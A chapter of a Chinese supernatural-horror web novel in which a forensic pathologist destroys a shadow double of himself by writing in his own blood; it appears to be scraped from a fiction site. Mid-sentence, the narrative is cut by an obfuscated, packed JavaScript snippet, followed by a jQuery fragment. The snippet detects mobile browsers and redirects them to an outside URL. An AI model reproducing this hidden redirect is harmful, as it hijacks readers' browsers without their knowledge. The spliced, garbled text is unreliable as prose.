第249章-不是我
作品:《阴阳剥皮人》 灰烬在半空凝结的瞬间,沈默的瞳孔微微收缩。
他能听见自己喉结滚动的声响——那具灰影的肩线与他完全重合,右手微曲的弧度像极了他俯身解剖时调整镊子的习惯性动作。
有那么一瞬,他甚至产生错觉:如果此刻伸手触碰,指尖或许会触到自己后颈那道因长期伏案留下的旧疤。
"是模板。"他的声音比平时更低,像是在对空气确认什么。
苏晚萤的手还按在他后背,温度透过衬衫渗进来,提醒他这具躯体此刻还属于自己。
他想起上周在解剖室发现的无名女尸——死者肋骨间嵌着半枚铜制齿轮,当时他在报告里写"疑似机械性损伤",却忽略了齿轮咬合的方向与心脏泵血频率惊人一致。
现在想来,那或许是残响在测试"死亡程序"的适配度。
苏晚萤的黄铜镇纸"当"地压在打字机滚筒上。
她动作极快,背包带在肩头滑下一半也顾不上理,另一只手从口袋里抓出的朱砂混着骨灰在掌心攥出红黑相间的粉末。"看肩部!"她喊了一声,指尖微颤。
灰影左肩在粉末触及的瞬间凹陷下去,露出里面交错的铜丝,像被拆去外皮的提线木偶。
沈默眯起眼——那些铜丝的缠绕方式,和他去年在废弃钟表厂解剖的缢死者颈后勒痕完全吻合。
"伪尸成契。"苏晚萤的声音突然发紧。
她想起博物馆暗格里那本《器魂纪要》,泛黄纸页上用朱砂笔圈过的句子:"名落则魂归"。
此刻打字机仍在震颤,滚筒缝隙渗出的墨汁在桌面洇开,隐约能辨出"沈默"二字的笔锋——残响在给这具伪尸"定名",只要他默认"自尽"这个结论,意识就会顺着铜丝爬进这具预制的壳里。
阿彩的指甲掐进左臂的动作比任何人都快。
她没带惯用的喷漆罐,直接用街边拾来的碎玻璃划开皮肤,血珠刚冒头就被她按在地面。
她画的是断裂的对话框,框里"自尽"二字歪歪扭扭,像是被外力强行扯断的台词。"它需要''标准信息''!"她喘着气,血顺着指缝滴在字上,"尸检报告、监控录像、目击者证词......这些整齐的东西能养肥它!"话音未落她已踩碎那团血字,骨瓷地面裂开蛛网纹,混着血的碎渣粘在鞋底。
空心钢笔塞进沈默掌心时还带着阿彩的体温。
笔杆内侧刻着细小的涂鸦,是她常画的衔尾蛇——此刻蛇头正浸在她的血里,笔腔里的液体泛着暗红,像在流动的脉搏。
阿彩按住他手背,伤口还在渗血,"用疼的,用抖的,用它学不会的。"她的眼睛亮得反常,像是某种更古老的东西借她的瞳孔在说话。
与此同时,小舟的脊背突然绷直。
他跪坐在打字机下方,双手紧贴铜缆,能清晰感知到电流里藏着的"语言"——那是二十四份尸检报告的书写节奏,是他帮沈默整理案卷时翻页的停顿间隔,是每次解剖前沈默转动解剖刀的频率。
残响在织网,用他最熟悉的逻辑织一张套在沈默脖子上的绳套。
"不能让它同步。"小舟的唇形几乎贴在地面。
他咬破舌尖,腥甜的血滴在铜缆接头上,同时用食指在地面敲击——没有规律,没有节奏,像极了打印机卡纸时机械的抽搐。
电流突然打了个旋,数据洪流出现0.9秒的迟滞,像是遇到了无法解析的乱码。
他尝到血的铁锈味漫进喉咙,这才抬头看向沈默,目光里带着孤注一掷的坚定。
沈默握着染血钢笔转身时,灰影也跟着转了半圈。
它的动作比他慢半拍,像被按了延迟播放的录像。
他在三步外站定,能看见灰影胸口的凹陷处——那里正浮现出打字机按键的虚影,字母键"E""N""D"在疯狂跳动,像在拼凑某个单词的结尾。
"我不会死在这里。"他开口,声音里带着刻意的颤抖。
钢笔尖悬在半空,第一笔"我"的竖划拉得极长,手腕因用力微微发颤,完全不像他平时写报告时的利落。
灰影的指尖也跟着抬起,却在半空卡了壳——它模仿的是他解剖时的稳定,而非此刻带着疼痛的颤抖。
第二笔"不"的横折,他故意顿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504002|182836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿。
掌心的血已经染湿笔杆,指腹能感觉到阿彩的血在笔腔里轻微晃动,带着体温的黏腻。
灰影的胸口突然渗出墨汁,在"E"键上洇开,像是系统报错时的乱码。
第三笔"会"的撇划,他想起师父临终前攥着他的手说"解剖刀要握稳,但人心要留缝"。
那时他以为是说要保持客观,现在才明白:所谓"缝",是给意外留的生路。
笔锋在此处拐了个不自然的弯,灰影的右臂突然扭曲成诡异的角度,铜丝断裂的脆响混着电流杂音刺进耳膜。
"死"字的最后一捺,他用了十足的力道。
笔尖划破空气的声音像解剖刀划开肋骨,灰影的膝盖同时发出"咔"的断裂声,露出里面锈迹斑斑的齿轮——那些齿轮的咬合方向,和上周无名女尸体内的一模一样。
"这里。"最后一个字的点画落下时,他猛地将笔尖刺入左手掌心。
疼痛像炸开的烟花,从掌心窜到胳膊,再顺着脊椎冲上后颈。
鲜血顺着笔杆滴在地面,在"这里"二字下方晕开不规则的血花。
灰影的胸口突然爆出无数墨点,按键虚影全部扭曲成问号,像是某个程序在疯狂报错。
"但你会。"他咬着牙补上最后一句,血从指缝滴在"会"字上。
这一次他没有控制力度,没有保持稳定,甚至连呼吸都乱了——急促的、带着刺痛的、完全不符合"沈默式"理性的呼吸。
灰影的崩解来得比他预想的更快。
它先是像被风吹散的纸人,四肢碎成细灰;接着躯干塌陷,露出里面密密麻麻的铜丝,那些曾模仿他骨骼结构的铜丝此刻纠缠成乱麻;最后是头部,林秋棠的眼睛在灰雾里闪了闪,最终被血字的余韵碾碎。
同一时刻,整座城市的市政AI终端突然发出刺耳鸣叫。
便利店的电子价签、公交站的实时站牌、商场的导视屏,所有显示过"沈默自尽"预测文本的屏幕上,同时裂开一道斜痕,像是被无形的刀划过。
沈默摊开左手,任鲜血顺着掌纹滴落。他没有包扎。